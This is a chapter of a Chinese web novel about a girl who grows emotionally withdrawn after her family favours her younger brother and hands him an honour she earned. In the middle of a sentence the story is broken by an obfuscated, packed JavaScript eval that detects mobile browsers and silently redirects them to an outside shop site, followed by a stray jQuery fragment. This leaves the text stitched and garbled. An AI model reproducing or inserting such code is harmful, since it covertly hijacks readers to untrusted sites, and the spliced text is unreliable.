竹叙
卷一·稚年温绪
第十一章|暖烬
亲戚散去之后,夕阳缓缓沉落,橘红色霞光贴着楼房的外墙慢慢褪成灰蓝。
屋子里残留着方才聚会过后的暖意,糖果纸散落茶几边角,茶杯里还留着浅浅的茶渍。妈妈弯腰收拾桌上的果壳果皮,抹布轻轻擦过玻璃茶几,动作轻柔,脸上带着应酬结束后的松弛。今天这场家宴,在外人眼中十分圆满,人人都夸赞家门和顺,姐弟知礼,这便够了。
爷爷靠在沙发上,指尖捏着一杯温热的茶水,神情悠然。方才一众亲友的话语,在他看来皆是理所应当。姐姐谦让弟弟,本就是血缘亲情里该守的本分,谈不上什么委屈牺牲。他并不觉得自己哪里亏待了裴筠安,吃穿用度不曾短她半分,家里和和气气,便是对孩子最大的善待。
父亲依旧坐在沙发最靠边角的位置。整场聚会,那些压在裴筠安身上温柔的规训、一遍一遍“姐姐应当忍让”的说辞,他全部听在耳里。可他自始至终缄默不语,既不附和长辈,也不替女儿分辨一言半语,只是垂着眼,如同一个隔着一层薄玻璃的旁观者,静静看着一切发生,安静接纳所有已成的现实。
弟弟还沉浸在被众人追捧的快活之中,手里攥着亲戚给的糖果,在客厅来回蹦跳,时不时发出清脆的笑声。他得到了本该属于裴筠安的参评名额,又在宴会上收获无数夸奖,满心都是自得,完全体会不到姐姐心底积压下来的沉沉寒意。
满堂喧嚣落尽,热闹如烧尽的炭火,表面依旧留一层温热的余灰,底下早已冷却。
裴筠安立在阳台窗边,指尖搭在冰凉的窗框上。晚风从敞开的窗户涌进来,裹挟深秋的凉意,拂过她的鬓发。方才亲戚一句句温和的劝诫还盘旋在脑海,那些笑着说出的道理,像细密柔软的网,一层一层缠绕过来,勒得人喘不上气。
他们没有打骂,没有厉声苛责。
只是用亲情,用懂事,用姐姐的身份,理所当然要求她交出自己的一切。
从前她还会偷偷抱有幻想。幻想家人看见她的努力,幻想会有人问一问她愿不愿意,幻想自己的心意也可以被放在天平上等量看待。经过漏雨的长夜,被夺走的荣誉,再到今日满堂亲友众口一词的规劝,那一点幻想,正在一点一点烧成灰烬。
她没有大闹,没有哭泣,脸上依旧维持着少年人温顺平和的模样。在外人眼里,她还是那个让人省心的女孩子,安静、守礼,不给家里添一点麻烦。只有她自己知道,心里某些柔软的地方,已经慢慢变硬变冷。
“筠安,过来搭把手。”
妈妈的声音从客厅传来,语调温和,没有半分怒意。
裴筠安收回飘远的思绪,应了一声,转身走过去,默默拾起地上散落的零食包装袋,把用过的茶杯收拢堆叠,端进厨房。水龙头哗哗流淌,温热的水漫过指尖,她洗着一堆玻璃杯,玻璃杯壁蒙着薄薄水雾,映出她淡淡的眉眼。
“今天亲戚都说你懂事,我听着也欣慰。”妈妈站在一旁整理剩下的水果,语气平平淡淡地开口,“做姐姐,终究是要多担待一些。不是家里偏心,是女孩子本就该心胸开阔,不要事事计较得失。”
裴筠安擦洗杯子的动作顿了一瞬。
她没有回话,只是继续擦拭杯沿的水渍。
妈妈见她不说话,只当她听进去了,又继续说道:“那个文明学生的名额,给了你弟弟,你也别往心里去。你底子好,以后考试、竞赛,机会多的是。弟弟性格外向,就需要这种奖状撑一撑底气,对他以后读书也有益处。”
这番话说得通情达理,逻辑周全,处处都站在家庭大局的角度。可唯独忽略一件事——这份荣誉,本不属于弟弟,是她熬无数个日夜换来的成果。
“我知道了。”裴筠安低声回答,声音淡淡的,听不出情绪。
她已经不想再争辩。辩解是徒劳的,说出自己的委屈,只会被扣上小气、不懂事的帽子。在这里,道理永远站在需要被照顾的那一方,她的诉求无足轻重。
收拾完客厅,天色已经彻底暗下来,屋内打开顶灯,雪白柔和的光线铺满整个屋子。晚饭简单对付了几口,弟弟拿着那张准备参评的申报表,兴致勃勃跑到客厅向爷爷炫耀。
“爷爷,你看,我可以评文明学生啦!”
爷爷笑起来,伸手揉了揉他的头顶:“好,好好准备,别辜负这个机会。”
弟弟扬着下巴,一脸得意,目光不经意扫过站在一旁的裴筠安,没有半分歉疚,仿佛这份东西本就该归自己所有。
裴筠安静静看着,心口沉沉的,却不再泛起剧烈的酸涩,只剩下一片麻木的空旷。
她转身走回自己那间靠里的小屋。
经过前几日那场大雨漏水之后,天花板墙角还留着一块浅浅发黄的水渍,即便雨水早已不再渗漏,那道痕迹依旧顽固地留在那里,像一道洗不掉的印记。书桌上,当初被雨水泡皱的课本还摆在原位,那些被水晕开的字迹永远无法复原。
她坐到台灯之下,拧开开关,昏黄的灯光一小块,只照亮桌面方寸之地。窗外夜色浓稠,巷子里零星传来行人说话的声响,隔着墙壁远远飘进来。客厅里传来电视的声音,爷爷和弟弟说笑的动静隐隐穿透门板。
一门之隔,两个世界。
她翻开作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926794|213550||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
业本,笔尖落在纸面上,一字一题认真演算。学习依旧是她唯一可以牢牢攥在手心的东西。家庭给不了她公平与偏爱,至少书本、习题、分数不会欺骗她。只要肯付出,就会有实实在在的回响。
房门被轻轻推开,妈妈端来一小碟切好的苹果,放在她书桌的角落。
“别学得太晚,早点休息。”母亲的语气依旧温柔,看起来是关心她。
裴筠安抬眼看向她。灯光下母亲的眉眼温和,看起来是真心挂念女儿的身体。可就是这同一个人,在她的荣誉被夺走的时候,劝她大度;在满堂亲戚规劝她忍让的时候,默然附和。
这份暖意是真实的,伤害同样也是真实的。
这个家不是全然的坏,没有歇斯底里的争吵,没有刻薄的辱骂,衣食不曾亏欠,偶尔也会有这样细碎温情的瞬间。可恰恰是这种混杂着暖意的伤害,才最磨人。它会让你怀疑自己,是不是不该心生怨怼,是不是自己太过狭隘。
“嗯。”裴筠安点头。
妈妈站在原地看了她几秒,又轻声叮嘱几句,便带上门离开。
苹果切片清甜,摆在桌角散发淡淡的果香,是这个家给予她为数不多细碎的温柔。裴筠安没有动那块苹果,只是垂眸继续写题。
夜一点点加深。
客厅的声响慢慢淡去,爷爷回房休息,弟弟也被催着睡觉,家里渐渐安静下来。只有裴筠安小屋的台灯,还亮着一小片昏黄的光。
她停下笔,手肘抵在桌面上,望向墙上那一块泛黄的水痕。
过往一桩桩一件件在心底缓缓过一遍。箱子里被觊觎的旧奖状,雨夜独自收拾漏水的房间,被迫拱手让出的荣誉,亲戚聚会上一轮轮温柔的规劝。所有的事,没有哪一件是天崩地裂的大祸,全是一件件细碎、温和,却不断消耗她的小事。
就像炭火,不是骤然烈火焚身,而是一点点文火慢烤,慢慢耗尽心里的热忱。
她曾经渴求过爱与公平,渴求被看见,渴求不用永远扮演懂事的姐姐。如今那份渴求,如同燃尽的炭火,表面尚有余温,内里已经化为冰冷的灰烬。
她依旧会听话,依旧会守规矩,依旧会做家人眼中那个省心的孩子。
只是她的心,已经不再交付出去。
往后表面依旧可以和睦相处,客套、温顺、得体,样样都能做到。但心底已经筑起一道高高的薄墙,不再轻易期待来自这个家庭的善待。
窗外秋风掠过屋檐,发出细碎的呜咽。屋内孤灯一盏,桌角的苹果静静摆放,甜香弥漫在空气里,是真实可触的温暖。
可暖的只是躯壳,烧尽的,是少年一腔滚烫的真心。